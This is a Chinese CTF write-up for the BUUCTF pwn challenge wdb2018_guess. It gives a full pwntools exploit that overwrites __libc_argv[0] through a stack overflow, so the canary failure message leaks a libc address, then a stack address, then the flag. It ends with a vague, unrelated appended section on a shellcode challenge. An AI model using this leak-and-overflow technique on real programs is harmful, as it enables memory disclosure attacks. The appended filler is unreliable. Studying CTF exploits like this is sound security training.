[BUUCTF]PWN——wdb2018_guess(stack smashing--canary报错利用)

wdb2018_guess

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入
    在这里插入图片描述
    存在溢出利用点,但是有canary保护,这边39行和41行的puts函数是写死的,没法用来接收泄露的信息,想到了利用canary的报错输出
    在程序加了 carry 保护后,如果我们的输入覆盖了 carry ,程序就会报错,报错代码如下,可以看到,程序会执行 __stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),所以我们只要覆盖 __libc_argv[0] 为我们想要泄漏的地址,就能泄露对应的内容。这种利用方法详细看这个视频,空降坐标107:52
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

在这里插入图片描述

利用思路

  1. 首先计算输入与 __libc_argv[0] 的偏移,通过栈溢出覆盖 __libc_argv[0] 为 put_got 地址,这样就能泄露 libc 地址。
  2. 通过 libc 地址计算 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),将 __libc_argv[0] 覆盖为 enviorn 地址即可泄露栈地址。
  3. flag 是存储在栈上,计算 enviorn 与 flag 的偏移,将 __libc_argv[0] 覆盖为 flag 的地址即可泄露 flag 。

利用过程

  1. 寻找输入点与_libc_argv[0]的偏移
    在这里插入图片描述
    他们之间的距离是0xdee8-0xddc0=0x128
    0x7fffffffdee8指向的是_libc_argv[0],_libc_argv[0]里存储的是我们的程序名,这边显示不全,显示全了是这样的
    在这里插入图片描述
  2. 接着利用栈溢出将这个地方覆盖成puts@got来泄露libc
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
  1. 计算 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),将 __libc_argv[0] 覆盖为 enviorn 地址即可泄露栈地址。如何从libc地址得到栈地址这里面就详细写了这个函数
libc_base = puts_addr - libc.dump('puts')
environ_addr = libc_base + libc.dump('__environ')
print 'environ_addr=',hex(environ_addr)

payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
  1. 获得栈地址后,找一下它跟flag地址的偏移,将 __libc_argv[0] 覆盖为flag地址即可
    动调的时候输入x/a _environ即可获取当前environ的地址,
    在这里插入图片描述
    search flag即可获取flag在栈上的地址,
    在这里插入图片描述
    计算一下偏移:0x7ffe4e6a7ea8-0x7ffe4e6a7d40=0x168

完整exp

#coding:utf8
from pwn import *
from LibcSearcher import *

p = process('./GUESS')
#p = remote('node3.buuoj.cn',28998)
elf = ELF('./GUESS')
puts_got = elf.got['puts']
context.log_level="debug"

#泄露puts地址
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc=ELF('./libc-2.23(64).so')

libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr=',hex(environ_addr)

#泄露栈地址
payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
gdb.attach(p)
flag_addr = stack_addr - 0x168
print 'flag_addr=',hex(flag_addr)
#泄露flag
payload='a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.interactive()

在这里插入图片描述

### BUUCTF Pwn Others_shellcode 解题思路 #### 题目概述 此题目属于PWN类别中的shellcode编写挑战。目标是在给定环境中执行任意代码,通常通过构造特定的机器码来实现这一目的[^1]。 #### 环境准备 为了成功完成该挑战,需了解所使用的`libc`版本特性以及其对应的函数偏移地址等信息。这有助于定位并利用可能存在的漏洞点。此外,还需掌握基本的反汇编技能以便理解二进制文件的工作原理。 #### 漏洞分析 通过对程序逻辑的研究发现存在一处可以被攻击者控制的数据输入路径。当用户提交恶意构造的数据时,能够覆盖返回地址从而改变正常流程指向自定义指令序列的位置。这种技术被称为“Return-Oriented Programming (ROP)” 或直接注入 shellcode 执行。 #### Shellcode 构建 考虑到现代操作系统防护机制如NX bit 和 ASLR 的存在,在构建有效载荷时需要特别注意避开非法字符以免破坏栈结构完整性。同时也要考虑如何绕过这些安全措施以确保 payload 成功运行。一种常见做法是从内存中寻找可写区域作为跳转目标,并在那里放置精心设计过的 machine code 来打开 shell 或连接远程服务器发送 flag。 ```python from pwn import * context.arch = 'amd64' context.os = 'linux' # 连接至服务端口 conn = remote('challenge_address', port_number) # 发送payload前先读取一些数据防止阻塞 conn.recvuntil(b'Input your choice:') ``` #### Exploit 实现 最终解决方案涉及多个部分协同工作:首先是找到合适的 gadget 组合用于泄露 libc 基址;其次是计算出 system() 函数的确切位置;最后则是巧妙安排参数传递方式使得 execve("/bin/sh", ...) 能够被执行。整个过程要求精确控制每一步操作以达到预期效果而不触发任何异常终止条件。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值